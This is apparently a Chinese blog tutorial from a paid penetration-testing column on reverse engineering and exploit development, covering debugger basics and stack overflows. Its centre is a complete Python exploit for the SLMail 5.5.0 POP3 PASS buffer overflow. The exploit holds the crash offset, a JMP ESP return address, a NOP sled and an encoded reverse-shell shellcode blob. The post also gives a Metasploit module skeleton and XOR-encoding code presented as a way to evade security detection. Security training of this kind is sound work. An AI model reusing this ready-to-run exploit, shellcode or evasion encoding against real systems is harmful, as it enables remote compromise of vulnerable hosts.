21、逆向工程与漏洞利用开发

sql99

于 2025-10-31 16:27:03 发布

阅读量16

点赞数

CC 4.0 BY-SA版权

分类专栏： Python实战渗透艺术文章标签：逆向工程漏洞利用缓冲区溢出

本文链接：https://blog.youkuaiyun.com/sql99/article/details/154372746

Python实战渗透艺术专栏收录该内容

24 篇文章 ¥499.90

订阅专栏¥69.90

会员秒杀 ¥9.9 重磅福利

超级会员免费看

逆向工程与漏洞利用开发

1. Windows与汇编语言基础

在学习汇编语言时，我们会将C代码转换为汇编语言，以此来观察其中的变化。首先，将一段示例C代码在Immunity调试器中运行，并编译成名为 Bufferoverflow.exe 的文件。打开Immunity调试器后，界面有不同区域：
- 右上角是寄存器区域，第一个寄存器EAX是累加器，用于存储CPU中的中间算术和逻辑运算结果。
- 左上角是实际的汇编代码。
- 左下角是程序使用的内存转储。
- 右下角是正在检查的程序的堆栈区域。

滚动到位置 00401290 ，能看到 PUSH 命令，还有ASCII字符串 Functionfunction 和整数十六进制值。由于使用的是Intel处理器，采用小端字节序，低字节在前。

接着，我们可以看到函数 functionFunction 的堆栈/代码部分，每一条语句都对应原始代码中的一条语句。继续向下滚动，能看到实际的 main 方法和其中的函数调用。 main 函数返回0，在汇编层面表现为将0移动到EAX寄存器。

为了让代码在调试器中无错误运行，我们需要进行以下操作：
1. 点击 Debug 中的 Arguments ，为汇编代码提供命令行参数。
2. 设置断点以更深入地理解调试器、程序控制和序列流。在 main 方法的开头设置断点，运行程序时，代码会在断点处停止。

2. 程序执行与堆栈变化

在调试器中，点击 step into 函数，程序控制会移动到下一行，同时不同的值会被添加到程序变量中。当从 main 函数调用 functionFunction 函数时，该函数的堆栈会包含返回地址，确保执行完成后能返回到正确位置。

例如，从 main 函数调用 functionFunction 函数的地址是 004012EA ，调用时， functionFunction 的堆栈会更新，显示执行完成后应返回的地址 004012EF 。此时，IP寄存器会包含 functionFunction 函数的起始地址 00401290 ，执行完成后，堆栈顶部的内容（ 004012EF ）会被弹出，IP寄存器会更新为该地址，程序继续执行。

多次点击 next 后， functionFunction 方法中为变量赋值的第一条语句会被执行。当到达 functionFunction 方法的返回语句或结束处时，堆栈顶部会包含返回地址。持续点击 next 直到程序从 main 方法退出，这就是程序的正常执行过程。

3. 缓冲区溢出与异常

当提供超过预期长度的参数导致缓冲区溢出时，会发生以下情况：
1. 在代码中添加超过九个字符的参数，并保持 main 方法的断点。
2. 运行代码到达断点后，将值 112233 复制到局部变量。
3. 调用 Functionfunction 函数，在执行 strcpy 将参数复制到大小为10的局部缓冲区时，会发生缓冲区溢出。

此时，传入的字符串会被放在寄存器中并传递给 functionFunction 函数。执行 strcpy 命令时，大值会被加载到堆栈。由于缓冲区长度为10，数据会溢出并覆盖堆栈的其他内存位置，包括原本存储返回地址的位置，最终导致代码抛出异常，出现访问违规错误。

4. 利用Windows中的缓冲区溢出漏洞

以SLMail 5.5.0邮件服务器软件的缓冲区溢出漏洞为例，具体操作步骤如下：
1. 从 https://slmail.software.informer.com/5.5/ 下载该应用程序，双击exe安装程序在Windows中安装，然后在Windows 7虚拟机中运行。
2. 将运行的程序附加到Immunity调试器，并使用简单的Python模糊测试器使程序崩溃。
3. 运行模糊测试器代码，发现字节数在2700到2900之间时会出现访问违规异常，此时EIP指令寄存器的值被十六进制值为 41414141 的字符串 A 覆盖。
4. 使用Metasploit的 generate.rb 模块生成唯一字符串，将其放入Python代码中重新运行漏洞利用程序，以查看崩溃时EIP中的唯一值。
5. 重启Windows服务，再次将其附加到调试器，运行Python代码进行漏洞利用。崩溃时，EIP寄存器的值为 39694438 ，计算得出导致崩溃的精确偏移量为2606。
6. 崩溃时，所有传入的值都存储在ESP寄存器中，ESP可作为存储有效负载的候选者。但由于地址空间布局随机化（ASLR），不能简单地在2600字节后放置ESP地址。
7. 使用Mona脚本在DLL进程中搜索 jmp esp 指令的十六进制等效值 \xff\xe4 ，找到合适的内存地址（如 0x5f4a358f ）。
8. 生成用于获得反向shell的漏洞利用代码，并对其进行编码和转义处理，以确保正常工作。以下是生成的Python脚本：

#!/usr/bin/python
import socket
buffer=["A"]
counter=100
buf =  ""
buf += "\xd9\xc8\xbd\xad\x9f\x5d\x89\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\x6f\x9b\xbf"
buf += "\x7c\x93\x4c\xbd\x7f\x6b\x8d\xa2\xf6\x8e\xbc\xe2\x6d"
buf += "\xdb\xef\xd2\xe6\x89\x03\x98\xab\x39\x97\xec\x63\x4e"
buf += "\x10\x5a\x52\x61\xa1\xf7\xa6\xe0\x21\x0a\xfb\xc2\x18"
buf += "\xc5\x0e\x03\x5c\x38\xe2\x51\x35\x36\x51\x45\x32\x02"
buf += "\x6a\xee\x08\x82\xea\x13\xd8\xa5\xdb\x82\x52\xfc\xfb"
buf += "\x25\xb6\x74\xb2\x3d\xdb\xb1\x0c\xb6\x2f\x4d\x8f\x1e"
buf += "\x7e\xae\x3c\x5f\x4e\x5d\x3c\x98\x69\xbe\x4b\xd0\x89"
buf += "\x43\x4c\x27\xf3\x9f\xd9\xb3\x53\x6b\x79\x1f\x65\xb8"
buf += "\x1c\xd4\x69\x75\x6a\xb2\x6d\x88\xbf\xc9\x8a\x01\x3e"
buf += "\x1d\x1b\x51\x65\xb9\x47\x01\x04\x98\x2d\xe4\x39\xfa"
buf += "\x8d\x59\x9c\x71\x23\x8d\xad\xd8\x2c\x62\x9c\xe2\xac"
buf += "\xec\x97\x91\x9e\xb3\x03\x3d\x93\x3c\x8a\xba\xd4\x16"
buf += "\x6a\x54\x2b\x99\x8b\x7d\xe8\xcd\xdb\x15\xd9\x6d\xb0"
buf += "\xe5\xe6\xbb\x17\xb5\x48\x14\xd8\x65\x29\xc4\xb0\x6f"
buf += "\xa6\x3b\xa0\x90\x6c\x54\x4b\x6b\xe7\x9b\x24\x89\x67"
buf += "\x73\x37\x6d\x99\xd8\xbe\x8b\xf3\xf0\x96\x04\x6c\x68"
buf += "\xb3\xde\x0d\x75\x69\x9b\x0e\xfd\x9e\x5c\xc0\xf6\xeb"
buf += "\x4e\xb5\xf6\xa1\x2c\x10\x08\x1c\x58\xfe\x9b\xfb\x98"
buf += "\x89\x87\x53\xcf\xde\x76\xaa\x85\xf2\x21\x04\xbb\x0e"
buf += "\xb7\x6f\x7f\xd5\x04\x71\x7e\x98\x31\x55\x90\x64\xb9"
buf += "\xd1\xc4\x38\xec\x8f\xb2\xfe\x46\x7e\x6c\xa9\x35\x28"
buf += "\xf8\x2c\x76\xeb\x7e\x31\x53\x9d\x9e\x80\x0a\xd8\xa1"
buf += "\x2d\xdb\xec\xda\x53\x7b\x12\x31\xd0\x8b\x59\x1b\x71"
buf += "\x04\x04\xce\xc3\x49\xb7\x25\x07\x74\x34\xcf\xf8\x83"
buf += "\x24\xba\xfd\xc8\xe2\x57\x8c\x41\x87\x57\x23\x61\x82"
buffer='A'*2606 + '\x8f\x35\x4a\x5f' + "\x90"*8 +buf
if 1:
    print"Fuzzing PASS with %s bytes" %    len(string)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect=s.connect(('192.168.250.158',110))
    data=s.recv(1024)
    s.send('USER root \r\n')
    data=s.recv(1024)
    print str(data)
    s.send('PASS    ' + buffer + '\r\n')
    #data=s.recv(1024)
    #print str(data)
    print "done"
    #s.send('QUIT\r\n')
    s.close()

将运行的服务实例附加到调试器并执行该脚本，就能从存在缓冲区溢出的受害机器获得反向shell。

5. 漏洞利用开发概述

漏洞利用开发旨在使用Python或Ruby开发自定义漏洞利用程序，以扩展Metasploit框架的功能。漏洞利用代码是为利用特定漏洞而编写的，其目标是确保代码稳定，并让攻击者获得所需的控制权。开发漏洞利用程序前，需要先理解漏洞本身和手动利用的步骤，然后将整个过程自动化。

6. 针对基于Web的漏洞编写漏洞利用脚本

以Damn Vulnerable Web Application (DVWA)为例，它存在许多漏洞，如本地文件包含（LFI）和远程文件包含（RFI）。我们将为这些漏洞编写漏洞利用脚本，通过执行该脚本获得反向shell。具体步骤和代码后续会进一步展开。

以下是一个简单的流程图表，展示了利用缓冲区溢出漏洞的主要步骤：

graph TD;
    A[下载并安装SLMail 5.5.0] --> B[运行在Windows 7 VM中];
    B --> C[附加到Immunity调试器];
    C --> D[使用Python模糊测试器];
    D --> E[确定溢出范围];
    E --> F[使用Metasploit生成唯一字符串];
    F --> G[重新运行漏洞利用程序];
    G --> H[计算偏移量];
    H --> I[搜索JMP ESP地址];
    I --> J[生成并编码漏洞利用代码];
    J --> K[执行Python脚本获得反向shell];

通过以上步骤，我们可以深入了解Windows环境下的逆向工程和漏洞利用开发，掌握利用缓冲区溢出漏洞的方法，并为进一步开发自定义漏洞利用程序打下基础。

逆向工程与漏洞利用开发

7. 开发Metasploit模块以利用网络服务

开发Metasploit模块来利用网络服务是漏洞利用开发的重要部分。以下是开发此类模块的一般步骤：
1. 确定目标漏洞 ：明确要利用的网络服务中的漏洞，例如特定版本软件的缓冲区溢出、SQL注入等。
2. 环境搭建 ：确保Metasploit框架已正确安装和配置，并且对目标服务的运行环境有足够的了解。
3. 创建模块文件 ：在Metasploit的模块目录中创建一个新的Ruby文件，按照Metasploit的模块结构编写代码。
4. 定义模块信息 ：在模块文件中定义模块的名称、描述、作者、漏洞类型等信息。
5. 编写利用代码 ：根据目标漏洞的特点，编写相应的利用代码，包括发送恶意请求、处理响应等。
6. 测试模块 ：在测试环境中运行模块，验证其是否能够成功利用漏洞。

以下是一个简单的Metasploit模块示例框架：

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Example Network Service Exploit',
      'Description'    => %q{
        This is an example module to exploit a vulnerability in a network service.
      },
      'Author'         => [ 'Your Name' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'URL', 'https://example.com/vulnerability-info' ]
      ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Targets'        => [
        [ 'Target Name', { 'Ret' => 0x12345678 } ]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOST('127.0.0.1'),
        Opt::RPORT(1234)
      ]
    )
  end

  def exploit
    # 在这里编写利用代码
    print_status("Exploiting the target...")
  end
end

8. 编码shell代码以避免检测

为了避免安全软件的检测，需要对shell代码进行编码。常见的编码方式有Base64编码、XOR编码等。以下是使用Python实现XOR编码的示例：

def xor_encode(data, key):
    encoded = []
    for i in range(len(data)):
        encoded.append(data[i] ^ key[i % len(key)])
    return bytes(encoded)

shellcode = b"\x90\x90\x90\x90"  # 示例shell代码
key = b"\x01\x02\x03"  # 示例密钥
encoded_shellcode = xor_encode(shellcode, key)
print(encoded_shellcode)

在使用编码后的shell代码时，需要在目标系统上进行解码操作。以下是一个简单的解码示例：

def xor_decode(data, key):
    return xor_encode(data, key)

decoded_shellcode = xor_decode(encoded_shellcode, key)
print(decoded_shellcode)

9. 总结与注意事项

在进行逆向工程和漏洞利用开发时，需要注意以下几点：
- 合法性 ：确保在合法的环境中进行测试和开发，遵守相关法律法规。
- 安全性 ：在测试过程中，要注意保护目标系统和自身环境的安全，避免造成不必要的损失。
- 不断学习 ：漏洞利用技术不断发展，需要持续学习和更新知识，以应对新的安全挑战。

以下是一个总结表格，展示了不同类型漏洞利用的关键步骤：
| 漏洞类型 | 关键步骤 |
| ---- | ---- |
| 缓冲区溢出 | 确定溢出范围、计算偏移量、搜索JMP ESP地址、生成并编码漏洞利用代码 |
| Web漏洞（LFI/RFI） | 分析漏洞点、编写利用脚本、执行脚本获得反向shell |
| 网络服务漏洞 | 确定目标漏洞、创建Metasploit模块、编写利用代码、测试模块 |

通过对逆向工程和漏洞利用开发的学习，我们可以更好地理解系统的安全机制，提高自身的安全防护能力，同时也能够为发现和修复潜在的安全漏洞提供有力支持。未来，随着技术的不断发展，漏洞利用开发也将面临更多的挑战和机遇，我们需要不断探索和创新，以适应新的安全形势。